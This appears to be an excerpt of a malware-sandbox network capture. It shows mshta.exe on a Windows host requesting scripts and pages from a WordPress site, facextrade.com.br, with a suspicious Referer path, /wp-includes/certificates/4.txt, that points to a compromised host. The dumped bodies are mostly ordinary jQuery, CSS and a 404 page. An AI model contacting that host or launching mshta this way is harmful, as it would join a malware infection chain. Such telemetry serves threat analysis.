Aug 16, 2022 11:53:25.913561106 CEST	809	IN	Data Raw: 28 5b 5c 77 5c 2d 5d 2a 29 24 29 2f 2c 6a 3d 2f 5c 53 2f 2c 6b 3d 2f 5e 5c 73 2b 2f 2c 6c 3d 2f 5c 73 2b 24 2f 2c 6d 3d 2f 5e 3c 28 5c 77 2b 29 5c 73 2a 5c 2f 3f 3e 28 3f 3a 3c 5c 2f 5c 31 3e 29 3f 24 2f 2c 6e 3d 2f 5e 5b 5c 5d 2c 3a 7b 7d 5c 73 Data Ascii: ([\w\-])$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]$/,o=/\\(?:["\\\/bfnrt]\|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]"\|true\|false\|null\|-?\d+(?:\.\d)?(?:[eE][+\-]?\d+)?/g,q=/(?:^\|:\|,)(?:\s\[)+/g,r=/(webkit)[ \/]([\w.]
Aug 16, 2022 11:53:25.913600922 CEST	811	IN	Data Raw: 67 74 68 3d 31 2c 74 68 69 73 5b 30 5d 3d 68 7d 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 63 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 72 65 74 75 72 6e 21 64 7c 7c 64 2e 6a 71 75 65 72 79 3f 28 64 7c 7c Data Ascii: gth=1,this[0]=h}this.context=c,this.selector=a;return this}return!d\|\|d.jquery?(d\|\|f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(
Aug 16, 2022 11:53:25.913636923 CEST	812	IN	Data Raw: 31 3b 74 79 70 65 6f 66 20 69 3d 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 6c 3d 69 2c 69 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 6a 3d 32 29 2c 74 79 70 65 6f 66 20 69 21 3d 22 6f 62 6a 65 63 74 22 26 26 21 65 2e 69 73 46 75 6e 63 74 Data Ascii: 1;typeof i=="boolean"&&(l=i,i=arguments[1]\|\|{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)\|\|(g=e.isArray(f))
Aug 16, 2022 11:53:25.913676023 CEST	813	IN	Data Raw: 70 61 72 73 65 46 6c 6f 61 74 28 61 29 29 26 26 69 73 46 69 6e 69 74 65 28 61 29 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 53 74 72 69 6e 67 28 61 29 3a 49 5b 43 2e 63 61 6c 6c 28 61 29 Data Ascii: parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]\|\|"object"},isPlainObject:function(a){if(!a\|\|e.type(a)!=="object"\|\|a.nodeType\|\|e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.
Aug 16, 2022 11:53:25.913714886 CEST	815	IN	Data Raw: 61 29 3b 69 66 28 64 29 7b 69 66 28 69 29 7b 66 6f 72 28 66 20 69 6e 20 61 29 69 66 28 63 2e 61 70 70 6c 79 28 61 5b 66 5d 2c 64 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 3b 67 3c 68 3b 29 69 66 28 63 2e 61 70 70 6c 79 28 Data Ascii: a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){retu
Aug 16, 2022 11:53:26.138195992 CEST	822	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 63 2c 66 2e 63 6f 6e 63 61 74 28 46 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 3b 67 2e 67 75 69 64 3d 61 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 67 2e 67 75 Data Ascii: nction(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid\|\|g.guid\|\|e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(
Aug 16, 2022 11:53:26.594841003 CEST	908	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:26.819749117 CEST	911	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:53 GMT Server: Apache ETag: "a4fad2-1860-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 6240 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588393 21188788 Age: 213 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6a 2c 63 2c 6c 29 7b 63 2e 66 6e 2e 74 6f 75 63 68 77 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7b 6d 69 6e 5f 6d 6f 76 65 5f 78 3a 32 30 2c 6d 69 6e 5f 6d 6f 76 65 5f 79 3a 32 30 2c 77 69 70 65 4c 65 66 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 52 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 55 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 44 6f 77 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 3a 21 30 7d 3b 61 26 26 63 2e 65 78 74 65 6e 64 28 62 2c 61 29 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 29 3b 64 3d 6e 75 6c 6c 3b 6b 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 68 29 7b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 26 26 68 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 69 66 28 6b 29 7b 76 61 72 20 66 3d 64 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 3b 68 3d 65 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 3b 4d 61 74 68 2e 61 62 73 28 66 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 78 3f 28 61 28 29 2c 30 3c 66 3f 62 2e 77 69 70 65 4c 65 66 74 28 29 3a 62 2e 77 69 70 65 52 69 67 68 74 28 29 29 3a 4d 61 74 68 2e 61 62 73 28 68 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 79 26 26 28 61 28 29 2c 0a 30 3c 68 3f 62 2e 77 69 70 65 44 6f 77 6e 28 29 3a 62 2e 77 69 70 65 55 70 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 31 3d 3d 61 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2c 65 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 2c 6b 3d 21 30 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 2c 21 31 29 29 7d 76 61 72 20 64 2c 65 2c 6b 3d 21 31 3b 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 66 2c 21 31 29 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 24 65 6c 3d 63 28 62 29 3b 74 68 69 73 2e 5f 69 6e 69 74 28 61 29 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 3d 7b 73 70 65 65 64 3a 34 35 30 2c 65 61 73 69 6e 67 3a 22 65 61 73 65 4f 75 74 42 61 63 6b 22 2c 69 6d 61 67 65 57 3a 31 39 30 2c 6d 61 72 67 69 6e 3a 33 2c 62 6f 72 64 65 72 3a 32 2c 6d 69 6e 49 74 65 6d 73 3a 31 2c 63 75 72 72 65 6e 74 3a 30 2c 6f 6e 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 Data Ascii: (function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislid
Aug 16, 2022 11:53:26.869276047 CEST	917	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:27.997909069 CEST	934	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:53:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 21588395 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49195	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:25.838730097 CEST	801	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:26.069211960 CEST	818	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:53 GMT Server: Apache ETag: "a4faba-ce4-58592ec326b80" Last-Modified: Tue, 02 Apr 2019 21:35:58 GMT Content-Length: 3300 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796999 21188786 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 6a 73 77 69 6e 67 3d 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 73 77 69 6e 67 3b 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2c 7b 64 65 66 3a 22 65 61 73 65 4f 75 74 51 75 61 64 22 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 5b 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 64 65 66 5d 28 65 2c 61 2c 63 2c 62 2c 64 29 7d 2c 65 61 73 65 49 6e 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 61 2f 3d 64 29 2a 28 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 2d 2d 61 2a 28 61 2d 32 29 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2b 63 3a 0a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2a 61 2b 63 Data Ascii: jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa*a+c
Aug 16, 2022 11:53:26.069252968 CEST	819	IN	Data Raw: 3a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 4d 61 74 68 2e 63 6f 73 28 61 2f 0a 64 2a 28 Data Ascii: :b/2((a-=2)aaaa+2)+c},easeInSine:function(e,a,c,b,d){return-bMath.cos(a/d(Math.PI/2))+b+c},easeOutSine:function(e,a,c,b,d){return bMath.sin(a/d(Math.PI/2))+c},easeInOutSine:function(e,a,c,b,d){return-b/2(Math.cos(Math.PI*a/d)-1)+c},
Aug 16, 2022 11:53:26.069288969 CEST	820	IN	Data Raw: 3b 66 7c 7c 28 66 3d 64 2a 30 2e 33 2a 31 2e 35 29 3b 67 3c 4d 61 74 68 2e 61 62 73 28 62 29 3f 28 67 3d 62 2c 65 3d 66 2f 34 29 3a 65 3d 66 2f 28 32 2a 4d 61 74 68 2e 50 49 29 2a 4d 61 74 68 2e 61 73 69 6e 28 62 2f 67 29 3b 72 65 74 75 72 6e 20 Data Ascii: ;f\|\|(f=d0.31.5);g<Math.abs(b)?(g=b,e=f/4):e=f/(2Math.PI)Math.asin(b/g);return 1>a?-0.5gMath.pow(2,10(a-=1))Math.sin((ad-e)2Math.PI/f)+c:0.5gMath.pow(2,-10(a-=1))Math.sin((ad-e)2Math.PI/f)+b+c},easeInBack:function(e,a,c,b,d,f)
Aug 16, 2022 11:53:26.556680918 CEST	906	OUT	GET /wp-content/themes/CherryFramework/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:26.790395975 CEST	909	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:54 GMT Server: Apache ETag: "a52f1b-20b-58592c21db700" Last-Modified: Tue, 02 Apr 2019 21:24:12 GMT Content-Length: 523 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23797001 20836418 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 63 68 65 72 72 79 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 33 2e 38 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 2e 31 0a 09 54 61 67 73 3a 20 64 61 72 6b 2c 20 6c 69 67 68 74 2c 20 77 68 69 74 65 2c 20 62 6c 61 63 6b 2c 20 67 72 61 79 2c 20 6c 65 66 74 2d 73 69 64 65 62 61 72 2c 20 72 69 67 68 74 2d 73 69 64 65 62 61 72 2c 20 66 69 78 65 64 2d 77 69 64 74 68 2c 20 66 6c 65 78 69 62 6c 65 2d 77 69 64 74 68 2c 20 63 75 73 74 6f 6d 2d 6d 65 6e 75 2c 20 65 64 69 74 6f 72 2d 73 74 79 6c 65 2c 20 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 73 2c 20 66 75 6c 6c 2d 77 69 64 74 68 2d 74 65 6d 70 6c 61 74 65 2c 20 70 6f 73 74 2d 66 6f 72 6d 61 74 73 2c 20 72 74 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 75 70 70 6f 72 74 2c 20 73 74 69 63 6b 79 2d 70 6f 73 74 2c 20 74 68 65 6d 65 2d 6f 70 74 69 6f 6e 73 2c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 61 64 79 0a 09 4c 69 63 65 6e 73 65 3a 0a 09 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 0a 09 54 65 78 74 20 44 6f 6d 61 69 6e 3a 20 63 68 65 72 72 79 0a 2a 2f 0a 40 69 6d 